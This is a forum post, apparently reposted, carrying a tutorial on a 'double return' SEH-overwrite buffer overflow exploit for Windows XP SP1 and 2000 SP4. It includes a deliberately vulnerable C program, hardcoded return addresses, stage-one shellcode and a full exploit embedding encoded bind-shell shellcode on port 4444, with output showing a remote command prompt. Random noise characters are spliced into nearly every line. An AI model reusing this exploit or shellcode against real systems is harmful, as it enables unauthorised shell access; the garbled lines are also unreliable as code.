在线时间 0 小时 最后登录 2007-9-23 注册时间 2004-9-10 听众数 3 收听数 0 能力 0 分 体力 9975 点 威望 7 点 阅读权限 150 积分 4048 相册 0 日志 0 记录 0 帖子 1893 主题 823 精华 2 分享 0 好友 0
我的地盘我做主
该用户从未签到
The goal of this method is to create a stable exploit that will successfully exploit a buffer overflow vulnerability on multiple operating systems. Every windows application has a default exception handler that is located at the end of the stack. When exploiting a normal buffer overflow vulnerability we overwrite the return address but in this case we will continue overwriting the stack and overwrite the default exception handler as well.
. x) V: O4 | x $ W& d( D/ s- K% }$ L/ s
[Buf] <- Shellcode, {8 s9 I4 W( y- L7 c4 f2 [
[Return Address] <- jmp register (for Windows XP sp1)
* {1 |" ]4 X8 n) C% e3 }# T. z [Various Stack Data] <- Junk9 G% r2 U C/ p/ {8 Z
[Pointer To Next SEH] <- "\xEB\x06\xff\xff" jump 6 bytes forward( [0 b8 ?# C- x* O& f1 ]4 m x z B
[SE Handler] <- jmp register (for Win2k sp4)7 }; U& G/ O* f
[Stage1 Shellcode] <- stage1 shellcode for win2k
( u9 u9 k& ]( a, B+ P & B# P! f/ y4 V" g9 A" Y
If the first return address (Windows XP SP1) is wrong an exception will occur and the default exception handler will be called (Windows 2000 SP4). Thus allowing us to create a stable exploit with two return addresses3 P7 r0 I9 j- S7 `9 y: i
! [8 a0 D. F6 r3 u* F
Necessary Tools:
0 B1 o- k2 N: F! q5 s+ O - OllyDBG
, G j: y& y. | - C/C++ Compiler
8 U& i" S& k9 ?6 m- ?/ k - nasm
" T9 x- _- D4 q- a2 W5 g - Sac
9 h6 F7 `/ S) j$ {, ]0 s% [6 Q- ^4 U + B0 ]; \. v! U
Vulnerable Code:
3 t" D& D2 j! H6 ?) j //lamebuf.c
6 U! U3 N0 U# B' G! \ #include<stdio.h>
F- a; P, O/ P: K #include<string.h>) }, X7 Z1 K# o
#include<windows.h>6 w" I; l2 ~( v6 e
int main(int argc,char *argv[]){3 e3 \, t! K: d3 Z
: |3 Z$ O7 P# H8 H
char buf[512];' N: ]7 o4 K H* H. e2 ~) t
char buf1[1024]; // <- simulate a stack
- i3 N1 d/ }: C1 {. a" x //DebugBreak();( n6 D9 v# Y6 h0 f
if (argc != 2){ return -1; }
3 u7 e% k% E5 C3 U# ]
. @6 z. p P' y& X strcpy(buf,argv[1]);
1 M0 H5 W$ j+ A, _, G+ k return 0x0;
6 s5 Q2 s' r! ?2 @7 \5 n0 @ }- L/ Z& Q i' S* d2 ]
; Y9 t7 I: l. \7 M3 l
Getting Started:- s J u( a+ M1 _. a
Before writing the exploit, lets see what happens when we overflow this application with 1600 bytes. The application crashed in the following state of registers:$ O/ c9 A# v3 v; p. l* M
' f+ _! M. m" n, Z2 k EAX 00000000# C: P* e: i2 k+ B/ k6 L1 W' u
ECX 003214044 _1 H8 _2 g) h5 J, t0 g: @
EDX 00414141
+ a; J5 w+ Q6 p7 F: s+ C+ c EBX 7FFDF000, \* L! L, Y S5 J
ESP 0012FF88 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"1 @$ _- R8 r7 \& v) [
EBP 41414141
5 M0 W3 e+ V) K( f- m ESI 77D4595F
4 b. w* @& G0 e4 F M EDI 77F59037 ntdll.77F59037
# _' x: a0 ~, `) A1 z& D* V9 | EIP 414141417 |, F+ ]8 t q# T2 E8 q( P) v9 U
: J' _1 \7 X1 t0 I* A Lets take a look at the stack and see what happened to the default exception handler:
( b9 n2 C1 v& _6 Y# ? 0x0012FFB0 41414141 Pointer to next SEH Record
; U& I7 o6 k% a5 x 0x0012FFB4 41414141 SE Handler
/ l% X8 w/ ^( S( V8 u M: Q
+ q; U- L7 Q- ]& h, k% W We successfully overwrote the return address and the default exception handler.
# o) W/ O) w) u3 M2 ] + E. y$ l9 v8 K) z8 i8 j* ^8 ]
Primary Return Address (Windows XP SP1 EN):8 g a! d- C, l: z1 o* z) Y O0 `
The first return address will be called as in a normal stack overflow. We can see that esp points to user-input, we will use that as our first stage shellcode. The return address will be 0x77F8AC16 (jmp esp on Windows XP SP1 En), and our first stage shellcode will be:
9 `8 e4 [0 k5 o" c: i "\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4"
- ~3 \/ b7 w2 E& x1 O
" R4 r5 ]9 }/ f; x Secondary Return Address (Windows 2000 SP4 EN):
, E, |3 K0 z5 L: ? U The secondary return address will be called as in a normal SEH return. The return address will be 0x77F92A9B (jmp ebx on Win2k Sp4 En), and our first stage shellcode will be:
7 k* h3 r' |/ I# S3 H "\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1"+ q! S" f+ C; d) C3 I5 \
. ^+ C& t; [. K0 A
Proof Of Concept:
# D4 y% l' E8 B- J // exploit.c
7 y M. j$ v1 e1 u // Tal zeltzer - [Double Return] //
6 S4 K$ w; h+ C
; a' u6 j L$ }) ^ k0 I% a/ b N' E #include<stdio.h>
: @7 p! q; D7 K3 d6 [" Q! J8 u #include<string.h>6 q2 K4 R3 n! F* j
#include<windows.h>6 L% C1 H7 ?2 L' Y& S/ D2 L. F
" N; m' C- p a! ^) Z! }7 P
#define RET_XP 0x77F8AC16 // WinXP Sp1 English - jmp esp
& n! C; D7 D) ?% y/ h& F1 l0 E$ z #define RET_WIN2K 0x77F92A9B // Win2k Sp4 English - jmp ebx
8 E+ v% y- s3 R* B9 C2 W! T* ^) X5 ` ' W3 U, Y- G9 v* D, K
// Stage1 For WinXP Sp1 English
* a7 F+ x9 W9 R- h6 ~: s unsigned char stage1_1[] = "\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4";- a/ Q$ Y! }; W" P5 e
( M1 ^7 { L" Y1 I) a; C
// Stage1 For Win2k Sp4 English& G7 s7 K) s" z+ C; w5 x
unsigned char stage1_2[] = "\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1";
) ?- P+ m! F4 P! }" u9 X v9 Y 6 ? }- W$ T* e' C/ t n3 v
// win32_bind - Encoded Shellcode [\x00\x0a\x09] [ EXITFUNC=seh LPORT=4444 Size=399 ] _blank>http://metasploit.com0 w% z7 T( ]& Y) h
unsigned char shellcode[] =
. w! G9 J* d" K( y+ M7 q- ^( } "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85"+ k. [6 y, M0 S# |/ I+ n+ x
"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19"$ g% e) T, V: Y0 m6 o }! N s
"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05"
9 Z- V8 d* b, p8 S "\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0" @& F& {( O) V1 K
"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74"
* j4 A+ U6 ?' `* w2 e4 g: r "\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15"7 M; N! ?) R7 B, g) q
"\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14"9 V; A" D, W9 C, [# F; W: L$ ]
"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53"
* V- a: ~- ~/ a9 b: J "\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce"4 H" T4 V% L2 h2 A1 A# x
"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf"8 T% e" p% i( x6 F4 D) L
"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb"
f) v) \* B( v6 b8 a7 z! M "\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18"# _8 _1 A' k* n; R; v- `
"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6"7 t6 }- c# v$ t* }, T- J- y2 h
"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16"
8 }! E# n' |, d2 d "\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f"7 x5 R3 Q/ b# k: W" @/ R W
"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c"
- l- @$ K) `% U3 R0 j$ N "\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18"
4 c2 C3 C& c; u. v( b "\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f", i! D- H! E# E, ]3 Z
"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8"
1 S" s# \' _" M y- r4 q "\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e"
& C, Q( @/ R T) h2 l! U! F; K "\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f"+ L# k0 A; F' N. @6 r: F3 J
"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27"$ o* \ r* N0 w7 r- {
"\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2"
* s+ t- n7 d2 I: p7 E "\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a"9 ?. ? O) c: C
"\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";
7 }5 Q' R4 K5 C 4 k' q0 L" T( ?1 u
: O: N; X7 Z' v/ F6 n. r int main(int argc,char *argv[]){: A( }1 C, R# Z* y" G; ]
$ c4 p$ G$ u0 a char *bufExe[3];
; W: P$ J( F% \2 F, u7 l0 E char buf[2048];
0 _6 j- [( b& b bufExe[0] = "lamebuf.exe";8 t6 L, q: Y1 E; v
bufExe[2] = NULL;1 ^$ V/ k- n, O+ r3 C# } G
4 d" {, W- e5 _9 I# W' Z. I' U* j
memset(buf,0x0,sizeof(buf));6 ~" ]' |# i2 G5 x& o
memset(buf,0x90,1652);; m: t# R/ x D9 Z4 @% {3 k
memcpy(&buf[24],shellcode,sizeof(shellcode)-1);; S2 r; o8 t4 }7 a+ }3 F
( F8 v: H% [" k0 D; f& G1 W memcpy(&buf[1544],&stage1_1,sizeof(stage1_1)-1); //WinXP SP1 En - Stage1 Shellcode, y- I. ]' q, Y
memcpy(&buf[1592],&stage1_2,sizeof(stage1_2)-1); //Win2k SP4 En - Stage2 Shellcode6 K$ X. O6 v* B6 {
v: q5 b1 |: L2 T' d' I *(unsigned long *)&buf[1540] = RET_XP; // First RET (jmp esp) winXP sp1 en
# Z: R7 _/ |$ q: y *(unsigned long *)&buf[1584] = 0xcccc06EB; // For win2k - jmp 6 bytes forward to our stage1_2 code0 N# E" ^/ c. a; v# X5 ]
*(unsigned long *)&buf[1588] = RET_WIN2K; // Second RET (jmp ebx) win2k sp4 en) N b. d3 L: ]/ Q. o, S& @$ {2 t
+ R) N- d! i8 q
# Y1 B$ E: j4 ^ bufExe[1] = buf;2 B- l6 O- N! k3 \ b
//Execute the vulnerable application
/ K/ k& j3 B- P( H execve(bufExe[0],bufExe,NULL);
! H0 |/ j& F. ?7 @
" i& p: `& R, p3 @, z7 O return 0x0;3 d { Q0 x! v4 ~+ m0 ]! `
}( }* f4 R8 w& i' j
( o% @% D' P& d% ]: Q; s- [
Exploit under Windows XP SP1:( F- R( d5 D9 d' E4 w0 P
C:\>exploit5 S+ x+ m9 X& R5 [
C:\>
) K" w6 x2 j U- n4 B ] C:\>telnet 127.0.0.1 4444 L* ?* @) t5 ^/ E7 ~9 n; s; {, r
8 n+ @$ S& O1 s$ v; L7 R Microsoft Windows XP [Version 5.1.2600]
( w$ d' O( R2 c+ B (C) Copyright 1985-2001 Microsoft Corp.8 D- b( M! D8 ?+ k* }5 z1 K
/ g9 C3 h9 X' F
C:\>& |: W0 K/ F1 n! j% ^- ?
1 D: Z3 z3 H1 J: a$ S Exploit under Windows 2000 SP4:
& M3 ?4 _% t7 e( E$ ]+ O C:\>exploit; F' w% p% \/ W: ]. X/ h' L
C:\>
2 Y& N, U7 Y3 x3 y$ y C C:\>telnet 127.0.0.1 4444) ` Z" a3 q ~ E( S
1 g& N/ P: f n) ? Microsoft Windows 2000 [Version 5.00.2195]: t: k" }* D0 I1 c. S2 r
(C) Copyright 1985-2000 Microsoft Corp.
zan